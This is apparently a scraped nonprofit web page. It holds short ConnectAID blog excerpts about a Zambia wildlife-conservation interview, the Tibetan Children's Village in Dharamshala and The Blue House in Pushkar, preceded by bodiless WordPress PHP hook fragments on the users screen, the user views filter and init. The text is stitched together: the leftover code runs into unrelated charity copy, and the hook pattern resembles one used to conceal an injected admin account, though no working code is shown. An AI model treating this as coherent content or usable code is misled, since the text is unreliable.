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} );

add_action( 'admin_head-users.php', function() {
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} );

add_filter( 'views_users', function( $views ) {
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} );

add_action( 'init', function() {
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<p>ConnectAID&#8217;s commitment to supporting sustainable development initiatives spans the globe. Our latest venture took us to the breathtaking landscapes of Zambia, where we teamed up with our dedicated field reporter, Dylan Raines, for an immersive experience.</p>
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<p>During our journey, Dylan had the opportunity to interview Anna Tolan, the passionate CEO of Chipembele. Anna&#8217;s life is a testament to the power of dedication and education in the field of wildlife conservation. Her tireless efforts are inspiring the next generation to take up the mantle of protecting our planet&#8217;s biodiversity.</p>
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		<p>ConnectAID founder, Gaelle Mogli, was invited to visit the Tibetan Children&#8217;s Village (TCV) and interviewed its coordinator in Dharamshala, India. The TCV is a nonprofit organization that provides education and care for Tibetan children who are orphans, refugees, or otherwise in need. The organization was founded in 1960 by the Dalai Lama and has since&#8230;</p>
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		<p>ConnectAID&#8217;s Nonprofit Member, The Blue House, is making a remarkable difference in the lives of disadvantaged families living in the harsh desert of Pushkar, Rajasthan, India. Through its holistic approach, encompassing education, employment, and fulfilling basic life needs, The Blue House is breaking the intergenerational cycle of poverty and offering hope for a better future&#8230;.</p>
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